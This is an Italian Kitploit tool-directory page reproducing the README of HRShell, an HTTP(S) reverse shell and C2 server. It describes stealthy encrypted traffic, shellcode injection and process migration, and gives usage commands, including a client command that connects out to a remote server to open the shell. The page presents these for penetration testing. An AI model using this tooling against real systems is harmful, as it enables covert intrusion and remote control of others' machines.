Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
HRShell — HRShell è una reverse shell HTTPS/HTTP costruita con flask. È un server C2 avanzato con molte funzionalità e capacità. | Kitploit
Strumenti/GitHubGitHub/chrispetrou/hrshell
Strumenti di Crittografia/DecrittografiaExploitReverse EngineeringShellcodePost-ExploitSicurezza WebPenetration TestingCommand and ControlRed TeamingSviluppo PayloadArchived
GitHub
248694 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
chrispetrou/hrshell

HRShell

HRShell è una reverse shell HTTPS/HTTP costruita con flask. È un server C2 avanzato con molte funzionalità e capacità.

Vedi Repository
HRShell: Una Reverse Shell HTTP(S) avanzata costruita con Flask

GPLv3 license version Known Vulnerabilities



HRShell è una reverse shell HTTPS/HTTP costruita con Flask ed è compatibile con python 3.x. client.py è stato testato con successo su:

  • Linux Ubuntu 18.04 LTS, Kali Linux 2019.3
  • macOS Mojave/Catalina
  • Windows 7/10

mentre server.py è compatibile con sistemi Unix (supporto per Windows in arrivo...)

Caratteristiche

  • È furtivo
  • Supporto TLS 🔑
    • Utilizzando certificati on-the-fly oppure
    • Specificando una coppia cert/chiave (maggiori dettagli di seguito...)
  • Iniezione di shellcode 💉 (maggiori dettagli di seguito...)
    • Iniezione di shellcode in un thread/processo generato del processo in esecuzione
      • Piattaforme supportate finora:
        • Windows x86
        • Unix x86
        • Unix x64
    • oppure iniezione di shellcode in un altro processo (migrate <PID>) specificandone il PID
      • Piattaforme supportate finora:
        • Windows x86
        • Windows x64
  • Lo shellcode può essere impostato/modificato al volo dal server (maggiori dettagli di seguito...)
  • Supporto proxy sul client.
  • Navigazione nelle directory (comando cd e varianti).
  • Comando interattivo history disponibile su sistemi Unix.
  • Comandi download/upload/screenshot/hex disponibili.
  • Pipelining (|) e comandi concatenati (;) sono supportati
  • Supporto per ogni comando non interattivo (come gdb, top, ecc...)
  • Il server è sia HTTP che HTTPS.
  • Viene fornito con due server integrati 🌐 finora... flask built-in e tornado-WSGI ed è anche compatibile con altri server di produzione come e .

*Per le modifiche alle versioni consulta CHANGELOG.

Dettagli


Furtivo :shipit:

HRShell è furtivo poiché utilizza il protocollo HTTP(S) come metodo di comunicazione tra client e server. Inoltre, quando TLS è in uso, il traffico è crittografato. Inoltre, se il CERT non è codificato manualmente sul lato client (opzione fattibile) e il comando upload non viene utilizzato, client.py non tocca affatto il disco.

TLS 🔑

Lato server: A meno che non venga specificata l'opzione --http, di default server.py è HTTPS utilizzando certificati on-the-fly, poiché i certificati on-the-fly sono una funzionalità integrata di Flask. Ma se viene specificata l'opzione -s tornado per fare in modo che il server utilizzi TLS, devono essere specificate le opzioni --cert e --key in questo modo:

root@kitploit:~
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem

Si possono utilizzare certificati "reali" oppure un altro modo per generare una coppia cert/chiave è, ad esempio, usando mkcert o openssl direttamente in questo modo:

root@kitploit:~
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

Una coppia cert/chiave può essere utilizzata anche con il server Flask:

root@kitploit:~
python server.py --cert /path/cert.pem --key /path/key.pem

⚠️ Se il server utilizza TLS, per progettazione il client non può usare http://... per connettersi al server, ma deve usare esplicitamente https.

Lato client: Di default la verifica SSL del client è disabilitata, a meno che:

  • venga specificato il parametro --cert ad esempio:
    root@kitploit:~
    python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
    
  • oppure la variabile CERT, invece del valore predefinito None, venga impostata preventivamente con un certificato valido, ad esempio:
    root@kitploit:~
    CERT = """
    -----BEGIN CERTIFICATE-----
    MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
    BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
    VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
    ...
    -----END CERTIFICATE-----
    """
    
    In questo caso client.py tenterà di creare al volo un file nascosto .cert.pem e lo utilizzerà al suo posto.

⚠️ Il fatto che la verifica SSL sia disabilitata di default sul client non significa in alcun caso che anche TLS sia disabilitato, TLS sarà abilitato se il server lo utilizza - quindi TLS dipende completamente dal server. L'opzione --cert sul client è presente solo come modo alternativo per avere una sessione crittografata tra server e client, tutto qui.

Iniezione di shellcode 💉

Esistono due "modalità" di iniezione di shellcode utilizzando rispettivamente i due comandi seguenti:

  1. migrate <PID>: Utilizzando questo comando possiamo iniettare shellcode nello spazio di memoria di un altro processo specificandone il PID. Per ora questo comando può essere applicato solo su piattaforme Windows x86/x64!
  1. inject shellcode: Utilizzando questo comando viene creato un nuovo thread (o processo generato su sistemi Unix) del nostro processo corrente e l'iniezione di shellcode avviene nel suo spazio di memoria. Di conseguenza la nostra shell HTTP(S) non viene influenzata dall'iniezione. Le piattaforme su cui questo comando può essere applicato sono: Unix x86/x64, Windows x86!
Note
  • Nel caso l'iniezione avvenga su un processo, le autorizzazioni del processo giocano un ruolo molto importante. Non è sempre possibile iniettare su qualsiasi processo a causa della mancanza di privilegi appropriati.

Impostare/Modificare lo shellcode

Ci sono due modi per specificare/impostare che tipo di shellcode vuoi che il client esegua:

  • Impostare preventivamente la variabile shellcode nello script client.py in modo che sia uno shellcode valido, oppure
  • Utilizzare il comando set shellcode <shellcode-id> per farlo al volo. Con questo comando puoi aggiornare il tuo shellcode lato client dal lato server tutte le volte che vuoi!

Il primo modo è piuttosto semplice. Tuttavia, per utilizzare il secondo modo, più comodo (poiché puoi anche modificare uno shellcode già specificato), devi impostare lo script shellcodes/utils.py in modo che contenga lo/i shellcode di tua scelta. Lo script contiene un esempio di come fare.

💡 Puoi modificare/aggiornare lo script shellcodes/utils.py anche dopo aver avviato server.py tutte le volte che vuoi, poiché server.py utilizzerà dinamicamente la versione più aggiornata/recente. In questo modo puoi impostare e modificare gli shellcode al volo...

Comandi disponibili:

Comandi speciali:

Qualsiasi altro comando è supportato se non è interattivo come ad es. gdb, top ecc... Inoltre digitando python server.py -h o python client.py -h puoi ottenere informazioni sugli argomenti disponibili del server e del client.

Nota: Se un client è connesso al server e vogliamo terminare il server, prima di premere CTRL+C, dobbiamo chiudere la connessione usando il comando exit.

Creare comandi personalizzati

Lato client:

Per creare un comando personalizzato, generalmente:

  • una regola regex che descrive il comando deve essere definita lato client
  • il codice per gestire quel comando deve essere aggiunto come istruzione elif sempre lato client.

Lato server:

Se il comando richiede l'esistenza di un nuovo endpoint lato server, allora:

  • definire l'endpoint:
    root@kitploit:~
    @app.route('/custom_endpoint/<arg>')
    def custom_endpoint(arg):
        """
        documentation if needed
        """
        ...
        return ...
    
  • poi modificare handleGET() per reindirizzare il client a quell'endpoint:
    root@kitploit:~
    @app.route('/')
    def handleGET():
        ...
        return redirect(url_for('custom_endpoint',
            arg=...)
            )
    
  • apportare le modifiche appropriate in handlePOST() per gestire la presentazione dei risultati.

Argomenti degli script

Entrambi gli script (server.py e client.py) possono essere personalizzati tramite argomenti:

server.py

root@kitploit:~
$ python server.py -h
usage: server.py [-h] [-s] [-c] [--host] [-p] [--http] [--cert] [--key]

server.py: An HTTP(S) reverse-shell server with advanced features.

arguments:
  -h, --help      show this help message and exit
  -s , --server   Specify the HTTP(S) server to use (default: flask).
  -c , --client   Accept connections only from the specified client/IP.
  --host          Specify the IP to use (default: 0.0.0.0).
  -p , --port     Specify a port to use (default: 5000).
  --http          Disable TLS and use HTTP instead.
  --cert          Specify a certificate to use (default: None).
  --key           Specify the corresponding private key to use (default: None).

client.py

root@kitploit:~
$ python client.py -h
usage: client.py [-h] [-s] [-c] [-p]

client.py: An HTTP(S) client with advanced features.

arguments:
  -h, --help      show this help message and exit
  -s , --server   Specify an HTTP(S) server to connect to.
  -c , --cert     Specify a certificate to use.
  -p , --proxy    Specify a proxy to use [form: host:port]

📦 Requisiti:

Per installare i requisiti del server:

root@kitploit:~
pip install -r requirements.txt --upgrade --user

📌 DA FARE

  • Aggiungere più comandi e funzionalità.
  • Correggere potenziali bug.

💭 Contributi e Feedback

Feedback e contributi sono benvenuti. Se trovi un bug o hai una richiesta di funzionalità, sentiti libero di aprire un issue e non appena lo esaminerò cercherò di risolverlo.

Disclaimer

Questo strumento è solo per scopi di test e accademici e può essere utilizzato solo dove è stato ottenuto un consenso esplicito. Non usarlo per scopi illegali! È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili. Gli sviluppatori non si assumono alcuna responsabilità e non sono responsabili per qualsiasi uso improprio o danno causato da questo strumento e dal software in generale.

Crediti e Riferimenti

  • Seitz J. Gray Hat Python: Python programming for hackers and reverse engineers. no starch press; 2009 Apr 15.
  • PyShellCode
  • Un ottimo articolo trovato qui.
  • La funzione hexdump del client presa da questo grande gist.
  • Il logo HRShell è realizzato con fontmeme.com!

Licenza

Questo progetto è concesso in licenza secondo la licenza GPLv3 - vedi il file LICENSE per i dettagli.

Scarica lo strumento
gunicorn
Nginx
  • Sia server.py che client.py sono facilmente estendibili.
  • Poiché la maggior parte della funzionalità deriva dal design degli endpoint del server, è molto facile scrivere un client in qualsiasi altro linguaggio ad es. Java, GO ecc...